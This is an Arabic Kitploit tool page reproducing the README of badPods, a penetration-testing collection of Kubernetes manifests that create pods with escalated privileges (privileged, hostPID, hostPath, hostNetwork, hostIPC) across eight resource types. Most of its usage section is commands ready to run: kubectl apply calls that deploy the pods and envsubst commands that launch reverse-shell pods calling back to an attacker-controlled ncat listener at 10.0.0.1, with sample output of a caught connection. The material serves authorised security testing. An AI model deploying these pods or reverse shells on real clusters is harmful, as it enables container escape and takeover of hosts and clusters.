Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
badPods — مجموعة من المانيفستات التي ستنشئ بودات بصلاحيات مرتفعة. | Kitploit
أدوات/GitHubGitHub/bishopfox/badpods
تصعيد الامتيازاتأمن الحاوياتالاستغلالاختبار الاختراقأمن السحابةسوء التكوينالهروب من الحاوية
GitHubbishopfox/badpods

badPods

مجموعة من المانيفستات التي ستنشئ بودات بصلاحيات مرتفعة.

عرض المستودع
706118منذ 7 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Bad Pods

مجموعة من ملفات الـ manifests التي تنشئ pods بصلاحيات مرتفعة مختلفة. يمكنك بسرعة توضيح تأثير السماح بخصائص pods حساسة أمنيًا مثل hostNetwork و hostPID و hostPath و hostIPC و privileged.

للحصول على خلفية إضافية، راجع مقالنا: Bad Pods: Kubernetes Pod Privilege Escalation.

المحتويات

  • تشكيلة Bad Pods
  • المتطلبات الأساسية
  • التنظيم
  • الاستخدام
    • المنهج عالي المستوى
    • أمثلة الاستخدام
      • إنشاء جميع Bad Pods الثمانية من المستودع المحلي المستنسخ
      • إنشاء جميع Bad Pods الثمانية من GitHub
      • إنشاء جميع Bad Pods الثمانية للـ reverse shell
      • إنشاء جميع أنواع الموارد الثمانية باستخدام pod الـ everything-allowed
      • إنشاء cronjob باستخدام pod الـ hostNetwork
      • إنشاء deployment باستخدام pod الـ priv-and-hostpid
      • إنشاء reverse shell باستخدام pod الـ privileged
  • شكر وتقدير
  • المراجع وقراءات إضافية

تشكيلة Bad Pods

كل رابط أدناه يوفر معلومات استخدام مفصلة وتوصيات لما بعد الاستغلال.

  • Bad Pod #1: Everything allowed
  • Bad Pod #2: Privileged and hostPid
  • Bad Pod #3: Privileged only
  • Bad Pod #4: hostPath only
  • Bad Pod #5: hostPid only
  • Bad Pod #6: hostNetwork only
  • Bad Pod #7: hostIPC only
  • Bad Pod #8: Nothing allowed

للمزيد من المعلومات العامة حول المتطلبات الأساسية، وتنظيم المستودع، وأنماط الاستخدام الشائعة، راجع الأقسام أدناه.

المتطلبات الأساسية

  1. الوصول إلى كلاستر
  2. صلاحية RBAC لإنشاء أحد أنواع الموارد التالية في namespace واحد على الأقل:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. صلاحية RBAC للتنفيذ داخل pods أو سياسة شبكة تسمح بـ reverse shell من pod للوصول إليك.
  4. عدم وجود سياسة أمان للبودات (pod security policy) مفروضة، أو سياسة تسمح بإنشاء pods بواحدة أو أكثر من الخصائص الحساسة أمنيًا

التنظيم

  • 128 ملف manifest جاهز ومستقل بذاته. لماذا كل هذا العدد؟
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, etc.)
    • 8 أنواع موارد يمكنها إنشاء pods (pod, deployment, replicaset, statefulset, etc.)
    • طريقتان للوصول إلى الـ pods التي تم إنشاؤها (exec & reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

هناك ثماني طرق لإنشاء pod

كما يشير Eviatar Gerzi (@g3rzi) في المقال Eight Ways to Create a Pod، هناك 8 وحدات تحكم (controllers) مختلفة يمكنها إنشاء pod أو مجموعة pods. قد لا يكون لديك صلاحية إنشاء pods، لكن ربما يمكنك إنشاء نوع مورد آخر سينشئ pod واحدًا أو أكثر. لكل نوع من أنواع badPod، توجد manifests تتوافق مع جميع أنواع الموارد الثمانية.

لكن انتظر، الأمور أسوأ! بالإضافة إلى وحدات تحكم Kubernetes الثمانية الحالية التي يمكنها إنشاء pods، هناك وحدات تحكم من جهات خارجية يمكنها أيضًا إنشاء pods إذا تم تطبيقها على الكلاستر. ترقّبها بالنظر إلى kubectl api-resources.

Reverse shells

على الرغم من أن الوصول عبر exec شائع، إلا أنه ليس من الممكن دائمًا التنفيذ داخل pods التي يمكنك إنشاؤها. لمساعدتك في هذه الحالات، يتم تضمين نسخة من كل manifest تستخدم صورة ncat الخاصة بـ Rory McCune (@raesene) على Docker Hub. عند إنشائها، سيقوم الـ pod بإنشاء اتصال مشفر بالعودة إلى المستمع (listener) الخاص بك.

الاستخدام

كل مورد في دليل manifests يستهدف سمة محددة أو مجموعة سمات تعرض الكلاستر للخطر عند السماح بها.

المنهج عالي المستوى

الخيار 1: المنهج المنهجي

  1. تقييم RBAC - تحديد أنواع الموارد التي يمكنك إنشاؤها
  2. تقييم سياسة القبول (Admission Policy) - تحديد أي من Bad Pods ستتمكن من إنشائها
  3. إنشاء الموارد - بناءً على ما هو مسموح، استخدم نوع badPod المحدد ونوع المورد وأنشئ مواردك
  4. مرحلة ما بعد الاستغلال (Post Exploitation) - تقييم خطوات ما بعد الاستغلال الموضحة في README لهذا النوع
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

الخيار 2: نهج Shotgun

  1. إنشاء الموارد - فقط ابدأ بتطبيق manifests مختلفة وشاهد ما ينجح
    • إنشاء جميع Bad Pods الثمانية من GitHub
    • إنشاء جميع أنواع الموارد الثمانية باستخدام pod الـ everything-allowed
  2. مرحلة ما بعد الاستغلال - بالنسبة لأي pods تم إنشاؤها، قم بتقييم خطوات ما بعد الاستغلال الموضحة في README لهذا النوع
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

أمثلة الاستخدام

  • إنشاء جميع Bad Pods الثمانية من المستودع المحلي المستنسخ
  • إنشاء جميع Bad Pods الثمانية من GitHub
  • إنشاء جميع Bad Pods الثمانية للـ reverse shell
  • إنشاء جميع أنواع الموارد الثمانية باستخدام pod الـ everything-allowed
  • إنشاء cronjob باستخدام pod الـ hostNetwork
  • إنشاء deployment باستخدام pod الـ priv-and-hostpid
  • إنشاء reverse shell باستخدام pod الـ privileged

إنشاء جميع Bad Pods الثمانية من المستودع المحلي المستنسخ

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

إنشاء جميع Bad Pods الثمانية من GitHub

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

إنشاء جميع Bad Pods الثمانية للـ reverse shell

لتجنب الحاجة إلى تعديل كل pod بالـ host والـ port خاصتك، يمكنك استخدام متغيرات البيئة وأمر envsubst. تذكر تشغيل جميع مستمعيك (listeners) أولاً!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

إنشاء cronjob باستخدام pod الـ hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

ابحث عن الـ pod الذي تم إنشاؤه

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

نفّذ داخل الـ pod

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

إنشاء deployment باستخدام pod الـ priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

ابحث عن الـ pod الذي تم إنشاؤه

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

نفّذ داخل الـ pod

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

إنشاء جميع أنواع الموارد الثمانية باستخدام pod الـ everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

عرض جميع الـ pods التي تم إنشاؤها

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

حذف جميع موارد everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

إنشاء reverse shell باستخدام pod الـ privileged

قم بإعداد مستمع (listener)

root@kitploit:~
ncat --ssl -vlp 3116

أنشئ pod من ملف yaml المحلي دون تعديله باستخدام متغيرات البيئة و envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

التقط الـ shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

المساهمة

نرحب بـ Pull requests والـ issues.

شكر وتقدير

نشكر Rory McCune وDuffie Cooley وBrad Geesaman وTabitha Sable وIan Coldwater وMark Manning وEviatar Gerzi وMadhu Akula لمشاركتهم علنًا الكثير من المعرفة حول أمن Kubernetes الهجومي.

المراجع وقراءات إضافية

لكل Bad Pod قسم مراجع وقراءات إضافية خاص به، لكن إليك بعض الموارد العامة التي ستساعدك على تطوير مهاراتك في تقييم أمان Kubernetes واختبارات الاختراق.

الوافدون الجدد - 2020

  • Container Security Site بواسطة @raesene
  • CloudSecDocs - Container Security بواسطة @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters بواسطة @antitree
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions بواسطة @g3rzi - محاضرة / الشرائح
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters بواسطة @antitree - محاضرة / مدونة
  • Kubernetes Goat بواسطة @madhuakula - المستودع / الدليل

الكلاسيكيات، من عام 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF بواسطة @tabbysable و@petermbenjamin و@jimmesta و@BradGeesaman
  • The Most Pointless Kubernetes Command Ever بواسطة @raesene
  • The Path Less Traveled: Abusing Kubernetes Defaults بواسطة @IanColdwater و@mauilion - محاضرة / المستودع
  • Understanding Docker container escapes بواسطة @disconnect3d_pl
  • A Compendium of Container Escapes بواسطة @drraid و@0x7674
  • Attacking Kubernetes through Kubelet
تنزيل الأداة